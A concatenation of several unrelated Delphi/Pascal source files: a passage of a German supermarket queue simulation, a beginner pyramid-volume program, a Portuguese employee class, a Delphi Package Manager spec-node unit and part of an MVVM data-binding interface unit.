FIstGeoeffnet : boolean;
function getWarteschlangenVolumen(): TList<TWarteschlangenVolumen>;
procedure KundenAnKassensystemUebergeben();
procedure SupermarktSchliessen();
procedure SupermarktOeffnen();
procedure UhrzeitAktualisieren();
function getUhrzeit(): string;
public
constructor create(KassenParameter: TKassenParameter; KundenParameter: TKundenParameter;
SortimentParameter: TSortimentParameter; KleingeldParameter: TKleingeldParameter);
property Sortiment: TSortiment read FSortiment write FSortiment;
property Kassensystem: TKassenSystem read FKassenSystem write FKassenSystem;
property Kundenverwalter: TKundenVerwalter read FKundenVerwalter write FKundenVerwalter;
property SchlangenVolumen: TList<TWarteschlangenVolumen> read getWarteschlangenVolumen;
property Uhrzeit: integer read FUhrzeit write FUhrzeit;
property Tag: integer read FTag write FTag;
property UhrzeitString: string read getUhrzeit;
property IstGeoeffnet: boolean read FIstGeoeffnet write FIstGeoeffnet;
procedure TimerEvent();
end;
implementation
{ TSupermarkt }
constructor TSupermarkt.create(KassenParameter: TKassenParameter; KundenParameter: TKundenParameter;
SortimentParameter: TSortimentParameter; KleingeldParameter: TKleingeldParameter);
begin
self.Sortiment := TSortiment.create(SortimentParameter);
self.Kassensystem := TKassenSystem.create(KassenParameter, KleingeldParameter);
self.Kundenverwalter := TKundenVerwalter.create(KundenParameter, self.Sortiment);
self.IstGeoeffnet := true;
self.Uhrzeit := 8 * 60;
self.Tag := 1;
end;
function TSupermarkt.getUhrzeit: string;
var
stunden : Extended;
stundenString: string;
minuten : Extended;
minutenString: string;
begin
stunden := ((self.Uhrzeit.ToExtended - (self.Uhrzeit mod 60)) / 60);
if stunden < 10 then
stundenString := '0' + stunden.ToString()
else
stundenString := stunden.ToString();
minuten := self.Uhrzeit.ToExtended - (stunden * 60);
if minuten < 10 then
minutenString := '0' + minuten.ToString()
else
minutenString := minuten.ToString();
Result := stundenString + ':' + minutenString;
end;
function TSupermarkt.getWarteschlangenVolumen: TList<TWarteschlangenVolumen>;
var
Volumen : TWarteschlangenVolumen;
VolumenListe: TList<TWarteschlangenVolumen>;
i : integer;
begin
VolumenListe := TList<TWarteschlangenVolumen>.create;
for i := 0 to self.Kassensystem.WarteschlangenListe.Count - 1 do
begin
Volumen.ArtikelVolumen := self.Kassensystem.WarteschlangenListe[i].ArtikelVolumen;
Volumen.SchlangenNummer := i;
Volumen.SchlangeOffen := self.Kassensystem.WarteschlangenListe[i].IstGeoeffnet;
VolumenListe.Add(Volumen);
end;
Result := VolumenListe;
end;
procedure TSupermarkt.KundenAnKassensystemUebergeben;
var
i : integer;
wunschkasse: integer;
begin
try
if self.Kundenverwalter.KundenAnzahl > 0 then
begin
for i := 0 to self.Kundenverwalter.KundenAnzahl - 1 do
begin
if self.Kundenverwalter.KundenListe[i].Kundenstatus = ksBereitZumZahlen then
begin
wunschkasse := self.Kundenverwalter.KundenListe[i].WarteschlangeWaehlen
(self.SchlangenVolumen);
if wunschkasse <= (self.Kassensystem.WarteschlangenListe.Count - 1) then
begin
self.Kassensystem.WarteschlangenListe[wunschkasse].KundenListe.Add
(self.Kundenverwalter.KundenListe[i]);
self.Kundenverwalter.KundenListe[i].Kundenstatus := ksInWarteschlange;
end;
end;
end;
end;
finally
end;
end;
procedure TSupermarkt.SupermarktOeffnen;
begin
self.IstGeoeffnet := true;
end;
procedure TSupermarkt.SupermarktSchliessen;
begin
self.IstGeoeffnet := false;
self.Kundenverwalter.KundenListe.Clear;
end;
procedure TSupermarkt.TimerEvent;
begin
self.UhrzeitAktualisieren;
self.Kassensystem.TimerEvent;
self.Kundenverwalter.TimerEvent(self.IstGeoeffnet);
self.KundenAnKassensystemUebergeben;
end;
procedure TSupermarkt.UhrzeitAktualisieren;
begin
self.Uhrzeit := self.Uhrzeit + 1;
if self.Uhrzeit = (20 * 60) then
self.SupermarktSchliessen;
if (self.Uhrzeit > (20 * 60)) and (self.Kundenverwalter.KundenListe.Count = 0) then
begin
self.Uhrzeit := 7 * 60;
self.Tag := self.Tag + 1;
end;
if self.Uhrzeit = (8 * 60) then
self.SupermarktOeffnen;
end;
end.
|
program HelloWorld;
var
length : real;
weigth : real;
height : real;
Volume : real;
begin
writeln('Let build a pyramid');
writeln('Please insert the length and weight');
readln(length, weigth);
writeln('Now insert the height ');
readln(height);
Volume:=(length * height * weigth)/3;
writeln('The Volume of your Pyramid is ' + Volume);
writeln('This is test5');
end. |
unit Funcionario;
interface
uses Cargo;
type
TFuncionario = class
private
FCodigo: string;
FNome: string;
FCargo: TCargo;
public
property Codigo: string read FCodigo write FCodigo;
property Nome: string read FNome write FNome;
property Cargo: TCargo read FCargo write FCargo;
constructor Create; overload;
constructor Create(Codigo: string); overload;
constructor Create(Codigo, Nome: string; Cargo: TCargo); overload;
end;
implementation
{ TFuncionario }
constructor TFuncionario.Create;
begin
Self.Cargo := TCargo.Create;
end;
constructor TFuncionario.Create(Codigo: string);
begin
Self.FCodigo := Codigo;
end;
constructor TFuncionario.Create(Codigo, Nome: string; Cargo: TCargo);
begin
Self.FCodigo := Codigo;
Self.FNome := Nome;
Self.FCargo := Cargo;
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Spec.Node;
interface
uses
DPM.Core.Types,
DPM.Core.Logging,
JsonDataObjects,
DPM.Core.Spec.Interfaces;
type
TSpecNodeClass = class of TSpecNode;
TSpecNode = class(TInterfacedObject, ISpecNode)
private
FLogger : ILogger;
protected
property Logger : ILogger read FLogger;
function LoadFromJson(const jsonObject : TJsonObject) : boolean; virtual; abstract;
function LoadJsonCollection(const collection : TJSonArray; const nodeClass : TSpecNodeClass; const action : TConstProc<IInterface>) : boolean;
public
constructor Create(const logger : ILogger); virtual;
end;
implementation
{ TSpecNode }
constructor TSpecNode.Create(const logger : ILogger);
begin
FLogger := logger;
end;
function TSpecNode.LoadJsonCollection(const collection : TJSonArray; const nodeClass : TSpecNodeClass; const action : TConstProc<IInterface>) : boolean;
var
item : ISpecNode;
i : Integer;
obj : TJsonObject;
begin
result := true;
if collection.Count = 0 then
exit;
for i := 0 to collection.Count - 1 do
begin
item := nodeClass.Create(Logger) as ISpecNode;
obj := collection.O[i];
item.LoadFromJson(obj);
action(item);
end;
end;
end.
|
unit MVVM.Interfaces;
interface
uses
System.RTTI,
System.Classes,
System.SysUtils,
System.SyncObjs,
System.Generics.Collections,
System.UITypes,
Data.DB,
Spring,
Spring.Collections,
MVVM.Types;
type
// Platform Services Interfaces
{$REGION 'PLATFORM'}
{$REGION 'IPlatformServices'}
IPlatformServices = interface
['{95F9A402-2D01-48E5-A38B-9A6202FF5F59}']
function CreatePlatformEmptyForm: TComponent;
procedure AssignParent(AChild, AParent: TComponent);
function MessageDlg(const ATitle: string; const AText: String): Boolean;
procedure ShowFormView(AComponent: TComponent);
procedure ShowModalFormView(AComponent: TComponent; const AResultProc: TProc<TModalResult>);
function IsMainThreadUI: Boolean;
function LoadBitmap(const AFileName: String): TObject; overload;
function LoadBitmap(const AStream: TStream): TObject; overload;
function LoadBitmap(const AData: System.SysUtils.TBytes): TObject; overload;
function LoadBitmap(const AMemory: Pointer; const ASize: Integer): TObject; overload;
function ElapsedMiliseconds: Int64;
function ElapsedTicks: Int64;
function GetTimeStamp: Int64;
function Elapsed: TTimeSpan;
function GetReferenceTime: Double;
end;
{$ENDREGION}
{$REGION 'TPlatformServicesBase'}
TPlatformServicesBase = class abstract(TInterfacedObject, IPlatformServices)
public
function CreatePlatformEmptyForm: TComponent; virtual; abstract;
procedure AssignParent(AChild, AParent: TComponent); virtual; abstract;
function MessageDlg(const ATitulo: string; const ATexto: String): Boolean; virtual; abstract;
procedure ShowFormView(AComponent: TComponent); virtual; abstract;
procedure ShowModalFormView(AComponent: TComponent; const AResultProc: TProc<TModalResult>); virtual; abstract;
function IsMainThreadUI: Boolean; virtual; abstract;
function LoadBitmap(const AFileName: String): TObject; overload; virtual; abstract;
function LoadBitmap(const AStream: TStream): TObject; overload; virtual; abstract;
function LoadBitmap(const AData: System.SysUtils.TBytes): TObject; overload; virtual; abstract;
function LoadBitmap(const AMemory: Pointer; const ASize: Integer): TObject; overload; virtual; abstract;
function ElapsedMiliseconds: Int64; virtual; abstract;
function ElapsedTicks: Int64; virtual; abstract;
function GetTimeStamp: Int64; virtual; abstract;
function Elapsed: TTimeSpan; virtual; abstract;
function GetReferenceTime: Double; virtual; abstract;
end;
{$ENDREGION}
TPlatformServicesClass = class of TPlatformServicesBase;
{$ENDREGION 'PLATFORM'}
// Returns the object interface
{$REGION 'IObject'}
IObject = interface
['{61A3454D-3B58-4CDE-83AE-4C3E73732977}']
function GetAsObject: TObject;
end;
{$ENDREGION}
// Bindings
IBindingStrategy = interface;
ICollectionViewProvider = interface;
IBindableAction = interface;
// Strategy Based Interface
{$REGION 'IStrategyBased'}
IStrategyBased = interface
['{3F645E49-CD84-430C-982F-2B2ADC128203}']
function GetBindingStrategy: IBindingStrategy;
procedure SetBindingStrategy(ABindingStrategy: IBindingStrategy);
property BindingStrategy: IBindingStrategy read GetBindingStrategy write SetBindingStrategy;
end;
{$ENDREGION}
IStrategyEventedObject = interface;
// Strategy and MultiCastEvents Based Interface
{$REGION 'IStrategyEventedBased'}
IStrategyEventedBased = interface
['{72613457-8EBA-47F0-B277-47F66FD4A427}']
function GetManager: IStrategyEventedObject;
procedure SetManager(AManager: IStrategyEventedObject);
property Manager: IStrategyEventedObject read GetManager write SetManager;
end;
{$ENDREGION}
// Free notification interface
{$REGION 'INotifyFree'}
TNotifyFreeObjectEvent = procedure(const ASender, AInstance: TObject) of Object;
IFreeEvent = IEvent<TNotifyFreeObjectEvent>;
INotifyFree = interface(IStrategyEventedBased)
['{6512F0E1-FB06-4056-8BF2-735EB05A60AC}']
function GetOnFreeEvent: IFreeEvent;
property OnFreeEvent: IFreeEvent read GetOnFreeEvent;
end;
{$ENDREGION}
{$REGION 'INotifyPropertyChanged'}
TNotifySomethingChangedEvent = procedure(const ASender: TObject; const AData: String) of Object;
IChangedPropertyEvent = IEvent<TNotifySomethingChangedEvent>;
INotifyChangedProperty = interface(IStrategyEventedBased)
['{9201E57B-98C2-4724-9D03-84E7BF15CDAE}']
function GetOnPropertyChangedEvent: IChangedPropertyEvent;
property OnPropertyChangedEvent: IChangedPropertyEvent read GetOnPropertyChangedEvent;
end;
{$ENDREGION}
{$REGION 'INotifyPropertyChangeTracking'}
IPropertyChangedTrackingEvent = IEvent<TNotifySomethingChangedEvent>;
INotifyPropertyTrackingChanged = interface(IStrategyEventedBased)
['{70345AF0-199C-4E75-A7BE-5C4929E82620}']
function GetOnPropertyChangedTrackingEvent: IPropertyChangedTrackingEvent;
property OnPropertyChangedTrackingEvent: IChangedPropertyEvent read GetOnPropertyChangedTrackingEvent;
end;
{$ENDREGION}
TCollectionSource = TEnumerable<TObject>;
TCollectionChangedEvent = procedure(const ASender: TObject; const AArgs: TCollectionChangedEventArgs) of Object;
IChangedCollectionEvent = IEvent<TCollectionChangedEvent>;
{$REGION 'INotifyCollectionChanged'}
INotifyCollectionChanged = interface(IStrategyEventedBased)
['{1DF02979-CEAF-4783-BEE9-2500700E6604}']
function GetOnCollectionChangedEvent: IChangedCollectionEvent;
property OnCollectionChangedEvent: IChangedCollectionEvent read GetOnCollectionChangedEvent;
end;
{$ENDREGION}
{$REGION 'IStrategyEventedObject'}
IStrategyEventedObject = interface(IStrategyBased)
['{CB3FA6A8-371A-481A-AD49-790692843777}']
function GetOnFreeEvent: IFreeEvent;
function GetOnPropertyChangedEvent: IChangedPropertyEvent;
function GetOnPropertyChangedTrackingEvent: IPropertyChangedTrackingEvent;
function GetOnCollectionChangedEvent: IChangedCollectionEvent;
function IsAssignedFreeEvent: Boolean;
function IsAssignedPropertyChangedEvent: Boolean;
function IsAssignedPropertyChangedTrackingEvent: Boolean;
function IsAssignedCollectionChangedEvent: Boolean;
procedure NotifyPropertyChanged(const ASender: TObject; const APropertyName: String);
procedure NotifyPropertyTrackingChanged(const ASender: TObject; const APropertyName: String);
procedure NotifyFreeEvent(const ASender, AInstance: TObject);
property OnFreeEvent: IFreeEvent read GetOnFreeEvent;
property OnPropertyChangedEvent: IChangedPropertyEvent read GetOnPropertyChangedEvent;
property OnPropertyChangedTrackingEvent: IChangedPropertyEvent read GetOnPropertyChangedTrackingEvent;
property OnCollectionChangedEvent: IChangedCollectionEvent read GetOnCollectionChangedEvent;
end;
{$ENDREGION}
{$REGION 'TStrategyEventedObject'}
TStrategyEventedObject = class(TInterfacedObject, IStrategyEventedObject)
protected
FObject: TObject;
FBindingStrategy: IBindingStrategy;
FOnFreeEvent: IFreeEvent;
FOnPropertyChangedEvent: IChangedPropertyEvent;
FOnPropertyChangedTrackingEvent: IPropertyChangedTrackingEvent;
FOnCollectionChangedEvent: IChangedCollectionEvent;
function GetBindingStrategy: IBindingStrategy;
procedure SetBindingStrategy(ABindingStrategy: IBindingStrategy);
procedure CheckObjectHasFreeInterface;
procedure CheckObjectHasPropertyChangedInterface;
procedure CheckObjectHasPropertyChangedTrackingInterface;
procedure CheckObjectHasCollectionChangedInterface;
function GetOnFreeEvent: IFreeEvent;
function GetOnPropertyChangedEvent: IChangedPropertyEvent;
function GetOnPropertyChangedTrackingEvent: IPropertyChangedTrackingEvent;
function GetOnCollectionChangedEvent: IChangedCollectionEvent;
function IsAssignedFreeEvent: Boolean;
function IsAssignedPropertyChangedEvent: Boolean;
function IsAssignedPropertyChangedTrackingEvent: Boolean;
function IsAssignedCollectionChangedEvent: Boolean;
public
constructor Create(AObject: TObject); overload;
constructor Create(ABindingStrategy: IBindingStrategy; AObject: TObject); overload;
destructor Destroy; override;
procedure NotifyPropertyChanged(const ASender: TObject; const APropertyName: String);
procedure NotifyPropertyTrackingChanged(const ASender: TObject; const APropertyName: String);
procedure NotifyFreeEvent(const ASender, AInstance: TObject);
property OnFreeEvent: IFreeEvent read GetOnFreeEvent;
property OnPropertyChangedEvent: IChangedPropertyEvent read GetOnPropertyChangedEvent;
property OnPropertyChangedTrackingEvent: IChangedPropertyEvent read GetOnPropertyChangedTrackingEvent;
property OnCollectionChangedEvent: IChangedCollectionEvent read GetOnCollectionChangedEvent;
property BindingStrategy: IBindingStrategy read GetBindingStrategy write SetBindingStrategy;
end;
{$ENDREGION}
{$REGION 'IBINDING'}
TOnBindingAssignedValueEvent = procedure(const AObject: TObject; const AProperty: String; const AValue: TValue) of object;
IBinding = interface
['{13B534D5-094F-4DF3-AE62-C2BD8B703215}']
function GetID: string;
function GetEnabled: Boolean;
procedure SetEnabled(const AValue: Boolean);
function GetOnBindingAssignedValueEvent: TOnBindingAssignedValueEvent;
procedure SetOnBindingAssignedValueEvent(AValue: TOnBindingAssignedValueEvent);
procedure DoOnBindingAssignedValue(const AObject: TObject; const AProperty: String; const AValue: TValue);
procedure DoEnabled;
procedure DoDisabled;
function IsObjectInBinding(const AObject: TObject): Boolean;
property ID: string read GetID;
property OnBindingAssignedValueEvent: TOnBindingAssignedValueEvent read GetOnBindingAssignedValueEvent write SetOnBindingAssignedValueEvent;
property Enabled: Boolean read GetEnabled write SetEnabled;
end;
TBindingBase = class abstract(TInterfacedObject, IBinding, IInterface) // TComponent
const
ENABLED_STATE = 0;
DISABLED_ACTIONS_APPLY_ON_VALUE = 1;
protected
FID: string;
FEnabled: Integer;
FSynchronizer: TLightweightMREW;
FOnBindingAssignedValueEvent: TOnBindingAssignedValueEvent;
function GetID: string;
function GetEnabled: Boolean;
procedure SetEnabled(const AValue: Boolean);
procedure DoEnabled; virtual;
procedure DoDisabled; virtual;
function GetOnBindingAssignedValueEvent: TOnBindingAssignedValueEvent;
procedure SetOnBindingAssignedValueEvent(AValue: TOnBindingAssignedValueEvent);
procedure DoOnBindingAssignedValue(const AObject: TObject; const AProperty: String; const AValue: TValue);
public
constructor Create; reintroduce;
destructor Destroy; override;
function IsObjectInBinding(const AObject: TObject): Boolean; virtual;
property ID: string read GetID;
property Enabled: Boolean read GetEnabled write SetEnabled;
end;
IBindingDefault = interface(IBinding)
['{8E5E2B20-86CF-48D5-99C2-6E9416AD1BE9}']
function GetBindingStrategy: IBindingStrategy;
function CheckPropertyChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean = True): Boolean;
function CheckPropertyTrackingChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean = True): Boolean;
function CheckFreeChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean = True): Boolean;
procedure HandlePropertyChanged(const ASender: TObject; const APropertyName: String);
procedure HandleLeafPropertyChanged(const ASender: TObject; const APropertyName: String);
procedure HandleFreeEvent(const ASender, AInstance: TObject);
procedure SetFreeNotification(const AInstance: TObject);
procedure RemoveFreeNotification(const AInstance: TObject);
procedure SetManager(const AInstance: TObject);
property BindingStrategy: IBindingStrategy read GetBindingStrategy;
end;
TProcFreeNotify = procedure(AComponent: TComponent) of object;
TFreeProxyComponent = class(TComponent)
protected
FProc: TProcFreeNotify;
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
public
procedure SubscribeToObject(const AObject: TObject);
procedure UnSubscribeFromObject(const AObject: TObject);
property DoOnFreeNotification: TProcFreeNotify read FProc write FProc;
end;
TBindingDefault = class abstract(TBindingBase, IBindingDefault)
protected
FInternalComponent: TFreeProxyComponent;
[weak]
FBindingStrategy: IBindingStrategy;
FTrackedInstances: ISet<Pointer>;
function GetBindingStrategy: IBindingStrategy;
procedure Notification(AComponent: TComponent);
public
constructor Create(ABindingStrategy: IBindingStrategy); overload;
destructor Destroy; override;
function CheckPropertyChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean = True): Boolean;
function CheckPropertyTrackingChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean = True): Boolean;
function CheckFreeChangedNotificationSupport(AObject: TObject; const ARaiseExceptionIfFalse: Boolean = True): Boolean;
procedure HandlePropertyChanged(const ASender: TObject; const APropertyName: String); virtual;
procedure HandleLeafPropertyChanged(const ASender: TObject; const APropertyName: String); virtual;
procedure HandleFreeEvent(const ASender, AInstance: TObject); virtual;
procedure SetFreeNotification(const AInstance: TObject); virtual;
procedure RemoveFreeNotification(const AInstance: TObject); virtual;
procedure SetManager(const AInstance: TObject); virtual;
property BindingStrategy: IBindingStrategy read GetBindingStrategy;
property Enabled: Boolean read GetEnabled write SetEnabled;
end;
IBindingCommand = interface(IBinding)
['{0E689BEC-3ECA-4D02-B90F-3651D114DC4F}']
procedure Execute;
function CanExecute: Boolean;
end;
TBindingCommandBase = class abstract(TBindingBase, IBindingCommand)
protected
FCanExecute: TCanExecuteMethod;
public
function CanExecute: Boolean; virtual;
procedure Execute; virtual; abstract;
end;
TBindingCommandBase<T> = class abstract(TBindingCommandBase)
protected
FCommand: T;
procedure SetCommand(const AValue: T);
function GetCommand: T;
public
constructor Create(ACommand: T; ACanExecute: TCanExecuteMethod = nil); overload;
property Command: T read GetCommand write SetCommand;
end;
TBindingCommandClass = class of TBindingCommandBase;
{$ENDREGION}
{ A view of items in a collection. Is uses by controls that present a
collection of items, such as TListBox and TListView. These controls will
implement the IgoCollectionViewProvider interface, that provides an object
that implements this interface.
Implementors should use the abstract TgoCollectionView class in the
Grijjy.Mvvm.DataBinding.Collections unit as a base for their views. }
{$REGION 'ICollectionViewProvider'}
ICollectionView = interface
['{FB28F410-1707-497B-BD1E-67C218E9EB42}']
{$REGION 'Internal Declarations'}
function GetSource: TCollectionSource;
procedure SetSource(AValue: TCollectionSource);
function GetTemplate: TDataTemplateClass;
procedure SetTemplate(const AValue: TDataTemplateClass);
function GetComponent: TComponent;
{$ENDREGION 'Internal Declarations'}
{ The collection to show in the view. This can be any class derived from
TEnumerable<T>, as long is T is a class type. You must typecast it to
TgoCollectionSource to set the property.
When you need to get notified when the collection changes, use a
collection that implements the IgoNotifyCollectionChanged interface, such
as TgoObservableCollection<T>.
(In technical terms: TList<TPerson> is covariant, meaning that it is
convertible to TList<TObject> if TPerson is a class. However, Delphi
does not support covariance (and contravariance) with generics, so you
need to typecast to TgoCollectionSource yourself.) }
property Source: TCollectionSource read GetSource write SetSource;
{ The class that is used as a template to map items in the collection to
properties of items in the view. }
property Template: TDataTemplateClass read GetTemplate write SetTemplate;
property Component: TComponent read GetComponent;
end;
ICollectionViewProvider = interface
['{22F1E2A9-0078-4401-BA80-C8EFFEE091EA}']
function GetCollectionView: ICollectionView;
end;
{$ENDREGION}
{$REGION 'IBindable'}
IBindable = interface
['{74F1EA86-FCFC-49AD-AB53-DCEBF476CB3B}']
function GetBinding: IBinding;
procedure SetBinding(ABinding: IBinding);
property Binding: IBinding read GetBinding write SetBinding;
end;
{$ENDREGION}
{$REGION 'IBindableAction'}
TCanExecuteChangedEvent = procedure(const ASender: TObject; const AEnabled: Boolean) of Object;
ICanExecuteChangedEvent = IEvent<TCanExecuteChangedEvent>;
IBindableAction = interface(IBindable)
['{43A86FDB-96E2-47E4-B636-933430EFDD81}']
function GetCanExecuteChanged: ICanExecuteChangedEvent;
function GetAsyncExecution: Boolean;
procedure SetAsyncExecution(const AValue: Boolean);
procedure CancelAsyncExecution;
procedure Bind(const AExecute: TExecuteMethod; const ACanExecute: TCanExecuteMethod = nil); overload;
procedure Bind(const AExecute: TExecuteAnonymous; const ACanExecute: TCanExecuteMethod = nil); overload;
procedure Bind(const AExecute: TExecuteRttiMethod; const AExecuteObj: TObject;
const ACanExecute: TCanExecuteRttiMethod = nil; const ACanExecuteObj: TObject = nil;
const AParams: TParamRtti = nil; const AParamObj: TObject = nil); overload;
property OnCanExecuteChanged: ICanExecuteChangedEvent read GetCanExecuteChanged;
property AsyncExecution: Boolean read GetAsyncExecution write SetAsyncExecution;
end;
{$ENDREGION}
{$REGION 'IBindingStrategy'}
TBindingList = IList<IBinding>;
IBindingStrategy = interface
['{84676E39-0351-4F3E-AB66-814E022014BD}']
procedure Start;
procedure AdquireRead;
procedure ReleaseRead;
procedure AdquireWrite;
procedure ReleaseWrite;
function GetEnabled: Boolean;
procedure SetEnabled(const AValue: Boolean);
function GetBindings: TBindingList;
procedure Notify(const ASource: TObject; const APropertyName: String = ''); overload;
procedure Notify(const ASource: TObject; const APropertiesNames: TArray<String>); overload;
procedure AddBinding(ABinding: IBinding);
procedure RemoveBinding(ABinding: IBinding);
function BindsCount: Integer;
procedure ClearBindings;
// function GetPlatformBindActionCommandType: TBindingCommandClass;
procedure Bind(const ASource: TObject; const ASourcePropertyPath: String; const ATarget: TObject; const ATargetPropertyPath: String; const ADirection: EBindDirection = EBindDirection.OneWay; const AFlags: EBindFlags = []; const AValueConverterClass: TValueConverterClass = nil; const AExtraParams: TBindExtraParams = []); overload;
procedure Bind(const ASources: TSourcePairArray; const ASourceExpresion: String; const ATarget: TObject; const ATargetAlias: String; const ATargetPropertyPath: String; const AFlags: EBindFlags = []; const AExtraParams: TBindExtraParams = []); overload;
procedure BindCollection(AServiceType: PTypeInfo; const ACollection: TEnumerable<TObject>; const ATarget: ICollectionViewProvider; const ATemplate: TDataTemplateClass);
// DataSet
procedure BindDataSet(const ADataSet: TDataSet; const ATarget: ICollectionViewProvider; const ATemplate: TDataTemplateClass = nil);
// -- Combobox
procedure BindDataSetToCombobox(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const AOnlyFillValues: Boolean = True); overload;
procedure BindDataSetToCombobox(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const ACustomFormat: String; const AOnlyFillValues: Boolean = True); overload;
// -- ListBox
procedure BindDataSetToListBox(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const ACustomDisplayExpression: string; const AOnlyFillValues: Boolean = True); overload;
procedure BindDataSetToListBox(ADataSet: TDataSet; ATarget: TComponent; const ALinks: array of TListBoxConversionData; const AOnlyFillValues: Boolean = True); overload;
// -- ListView
procedure BindDataSetToListView(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const ACustomDisplayExpression: String; const AOnlyFillValues: Boolean = True); overload;
procedure BindDataSetToListView(ADataSet: TDataSet; ATarget: TComponent; const ALinks: array of TListViewConversionData; const AOnlyFillValues: Boolean = True); overload;
procedure BindDataSetAppendFieldToListView(ADataSet: TDataSet; ATarget: TComponent; const ALink: TListViewConversionData; const AOnlyFillValues: Boolean = True); overload;
// -- Grid
procedure BindDataSetToGrid(ADataSet: TDataSet; ATarget: TComponent); overload; // basic link
procedure BindDataSetToGrid(ADataSet: TDataSet; ATarget: TComponent; const AColumnLinks: array of TGridColumnTemplate); overload;
// -- Component
procedure BindDataSetFieldToProperty(ADataSet: TDataSet; const AFieldName: String; const ATarget: TComponent; const ATargetPropertyPath: String); overload;
procedure BindDataSetFieldToProperty(ADataSet: TDataSet; const AFieldName: String; const ATarget: TComponent; const ATargetPropertyPath: String; const AValueConverterClass: TValueConverterClass); overload;
procedure BindDataSetFieldToProperty(ADataSet: TDataSet; const AFieldName: String; const ATarget: TComponent; const ATargetPropertyPath: String; const ACustomFormat: String); overload;
procedure BindAction(AAction: IBindableAction); overload;
procedure Unbind(const ASource: TObject); overload;
property Bindings: TBindingList read GetBindings;
property Enabled: Boolean read GetEnabled write SetEnabled;
end;
{$ENDREGION}
{$REGION 'TBindingStrategyBase'}
TBindingStrategyBase = class abstract(TInterfacedObject, IBindingStrategy)
protected
FBindings: TBindingList;
FSynchronizer: TLightweightMREW;
function GetEnabled: Boolean; virtual; abstract;
procedure SetEnabled(const AValue: Boolean); virtual; abstract;
function GetBindings: TBindingList;
public
constructor Create; virtual;
destructor Destroy; override;
procedure Start; virtual;
procedure AdquireRead;
procedure ReleaseRead;
procedure AdquireWrite;
procedure ReleaseWrite;
procedure Notify(const AObject: TObject; const APropertyName: String = ''); overload; virtual; abstract;
procedure Notify(const AObject: TObject; const APropertiesNames: TArray<String>); overload; virtual;
procedure AddBinding(ABinding: IBinding); virtual;
procedure RemoveBinding(ABinding: IBinding); virtual;
procedure ClearBindings; virtual;
function BindsCount: Integer; virtual;
// function GetPlatformBindActionCommandType: TBindingCommandClass; virtual; abstract;
// Bindings
procedure Bind(const ASource: TObject; const ASourcePropertyPath: String; const ATarget: TObject; const ATargetPropertyPath: String; const ADirection: EBindDirection = EBindDirection.OneWay; const AFlags: EBindFlags = []; const AValueConverterClass: TValueConverterClass = nil; const AExtraParams: TBindExtraParams = []); overload; virtual; abstract;
procedure Bind(const ASources: TSourcePairArray; const ASourceExpresion: String; const ATarget: TObject; const ATargetAlias: String; const ATargetPropertyPath: String; const AFlags: EBindFlags = []; const AExtraParams: TBindExtraParams = []); overload; virtual; abstract;
// Collections
procedure BindCollection(AServiceType: PTypeInfo; const ACollection: TEnumerable<TObject>; const ATarget: ICollectionViewProvider; const ATemplate: TDataTemplateClass); virtual; abstract;
// DataSets
procedure BindDataSet(const ADataSet: TDataSet; const ATarget: ICollectionViewProvider; const ATemplate: TDataTemplateClass = nil); virtual; abstract;
// -- Combobox
procedure BindDataSetToCombobox(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
procedure BindDataSetToCombobox(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const ACustomFormat: String; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
// -- ListBox
procedure BindDataSetToListBox(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const ACustomDisplayExpression: string; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
procedure BindDataSetToListBox(ADataSet: TDataSet; ATarget: TComponent; const ALinks: array of TListBoxConversionData; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
// -- ListView
procedure BindDataSetToListView(ADataSet: TDataSet; ATarget: TComponent; const AField: String; const ACustomDisplayExpression: String; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
procedure BindDataSetToListView(ADataSet: TDataSet; ATarget: TComponent; const ALinks: array of TListViewConversionData; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
procedure BindDataSetAppendFieldToListView(ADataSet: TDataSet; ATarget: TComponent; const ALink: TListViewConversionData; const AOnlyFillValues: Boolean = True); overload; virtual; abstract;
// -- Grid
procedure BindDataSetToGrid(ADataSet: TDataSet; ATarget: TComponent); overload; virtual; abstract;
procedure BindDataSetToGrid(ADataSet: TDataSet; ATarget: TComponent; const AColumnLinks: array of TGridColumnTemplate); overload; virtual; abstract;
// -- Component
procedure BindDataSetFieldToProperty(ADataSet: TDataSet; const AFieldName: String; const ATarget: TComponent; const ATargetPropertyPath: String); overload; virtual; abstract;
procedure BindDataSetFieldToProperty(ADataSet: TDataSet; const AFieldName: String; const ATarget: TComponent; const ATargetPropertyPath: String; const AValueConverterClass: TValueConverterClass); overload; virtual; abstract;
procedure BindDataSetFieldToProperty(ADataSet: TDataSet; const AFieldName: String; const ATarget: TComponent; const ATargetPropertyPath: String; const ACustomFormat: String); overload; virtual; abstract;
// Actions
procedure BindAction(AAction: IBindableAction); overload; virtual; abstract;
procedure Unbind(const ASource: TObject); overload; virtual; abstract;
property Bindings: TBindingList read GetBindings;
property Enabled: Boolean read GetEnabled write SetEnabled;
end;
TClass_BindingStrategyBase = class of TBindingStrategyBase;
